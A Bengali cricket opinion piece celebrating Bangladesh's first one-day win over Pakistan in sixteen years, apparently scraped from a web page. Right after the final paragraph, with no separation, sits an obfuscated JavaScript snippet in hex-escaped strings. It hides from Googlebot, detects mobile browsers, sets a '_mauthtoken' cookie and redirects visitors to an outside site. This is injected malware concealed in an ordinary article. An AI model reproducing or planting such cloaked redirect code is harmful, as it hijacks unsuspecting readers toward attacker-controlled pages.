for Add

সিরিজ জয়ের হাতছানি

bd-cricket

তোফায়েল আহমেদ :  পাকিস্তানি ইনিংসের শেষ ব্যাটসম্যান হিসেবে সাঈদ আজমল আউট হতেই ষোল বছর পর বাংলাদেশের কক্ষপথে এসে দাঁড়ালো পাকবধের সেই আলোর রেখা। কর্কট ক্রান্তি রেখার দেশে যে রেখাটা হারিয়ে গিয়েছিল কেমন খরস্রোতা নদীর মতো। অবশেষে সেই নদীতে যেন বান এলো। বানের পানিতে দীর্ঘ খরা তো কাটলই সঙ্গে হাহাকার আর বেদনার জ্বালাও জুড়ালো। যে জ্বালা অনেক দিনের, দীর্ঘ ষোল বছরের।

সেই কবে ৯৯’ বিশ্বকাপে নর্দাম্পটনে একবার পাকিস্তানকে বধ করেছিল রয়েল বেঙ্গলের দেশ বাংলাদেশ (তখনও বাংলাদেশ ক্রিকেট দল টাইগার হিসেবে তেমন পরিচিতি পায়নি)। এরপর কেটে গেছে ষোলটি বছর। আপনি যদি ৯৯ এর দূরন্ত কিশোর হয়ে থাকেন তাহলে হয়ত এই ষোল বছর আপনার কাছে কিছুই নয়। চোখ বুজলেই হয়তবা আপনার সামনে ভেসে ওঠে সেদিনের নর্দাম্পটনের দৃষ্য গুলো। কিন্তু আজকের কোন এক কিশোরকে জিজ্ঞেস করুননা, এই ষোল বছর কত যুগ?

bd-win

আসলে এই সময়ে কত কিছুই তো ঘটে গেছে ধরনীতে। কিন্তু পাকিস্তানের বিপক্ষে বাংলাদেশের একটা ছবি কখনো বদলায় নি। ইদাদিং আবার এই দলটার বিপক্ষে জয়ের বন্দরে নোংগর করতে করতেও কেন জানি শেষ মূহুর্তে আর হচ্ছিল না। কখনো কখনো তাই চিত্রনাট্য গুলোকে মনে হতো এ যেন সুনিল বাবুর সেই কবিতা, ‘কেউ (হয়ত বিধাতা!) কথা রাখেনি’।

নর্দাম্পটনে সেই ম্যাচটা জিতে বাংলাদেশ তাদের অভিষেক বিশ্বকাপকে স্বরনীয় করেছিল এবং সেই জয়টিই টেস্ট মর্যাদা প্রাপ্তির দাবিটাকে আরও জোড়ালো করে দিয়েছিল। এর বছর খানেকের মধ্যেই বাংলাদেশ পেয়ে যায় মর্যাদার ক্রিকেট টেস্ট ম্যাচ খেলার স্বীকৃতি।

bd-cricket-2

টেস্ট মর্যাদা প্রাপ্তির পর বাংলাদেশ তাদের শৈশব কমল পায়ে ধীরে ধীরে এগিয়েছে অনেক দূর। অনেক অনেক কাব্য গাঁথার জন্মও দিয়েছে। কিন্তু একটি কাব্যের শেষ চরন যেন কিছুতেই মিলাতে পারছিলেন না সাকিব আল হাসানরা। ২০১২ এশিয়া কাপের কথাই ধরা যাক। যেদিন আফ্রিদিদের বিপক্ষে ২ রানে হেরে সমগ্র বাংলাদেশে নেমে এসেছিল কবরের নিরবতা। আর সর্বশেষ এশিয়া কাপে তখন পর্যন্ত ওয়ানডেতে নিজেদের সর্বোচ্চ স্কোর গড়েও পরাজয়ের বেদনায় পুড়তে হয়েছিল মুশফিক-সাকিবদের।-হয়ত কবিতার সেই শেষ চরনটি মিলাতে না পারায়!

কোন কবিতাই নাকি কখনো অমিমাংশিত থাকে না। একদিন না একদিন তা মিলে যায়। কেউ না কেউ এসে মিলিয়ে দিয়ে যায়। হয়তোবা বেশির ভাগ সময়ই কাজটা নিজ হাতে করে দেন ‘বিধাতা’। এবারের ওয়ানডে সিরিজের প্রথম ম্যাচে পাকিস্তানরকে টাইগারদের ধাওয়া করার কাব্যটা আর অমিমাংশিত থাকেনি। দলটির বিপক্ষে শেষ দুটি ম্যাচে যে হাহাকার তা দূর হয়ে গেল যেন ক্রিকেট ‘বিধাতার’ পূর্ব লিখিত এক চিত্র নাট্যে। যেখানে আজহার আলীর পাকিস্তান ছিল একবারেই অসহায়।

bd-cricket-3

ম্যাচের পর সাকিব আল হাসানদের জয়ের উদযাপন দেখে কে বলবে এই জয় ষোল বছর পর পাওয়া কোন জয়। অথচ এই উদযাপনটা হতে পারত বাধভাঙ্গা। কিন্তু তা যে হলো না সেটিও কি কোন বার্তা বহন করছে না? এই সিরিজে বাংলাদেশকে ফেবারিট বলে রেখেছিলেন সাকিব। মাশরাফি, নাসির হোসেনরাও কথা বলেছিলেন একই সুরে। ষোল বছরের হাহাকার ঘুচিয়ে সিরিজের প্রথম ওয়ানডেতে অর্জিত জয়ের পর সেই কন্ঠ গুলোতে সুর লাগার কথা বেশি করে। এই সিরিজ হাহাকার ঘোচানোর সিরিজ হয়ে দাড়িয়েছিল অনেক আগেই। সেই হাহাকার তো ঘোচলোই। শুক্রবার প্রথম ওয়ানডে জিতে ১-০ তে এগিয়ে যাওয়ার পর এখন টাইগারদের সামনে সিরিজ জয়ের হাতছানি। শেরে বাংলা থেকে আগাম সেই ধ্বনিই কি শুনতে পাচ্ছেন আপনি?var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

for Add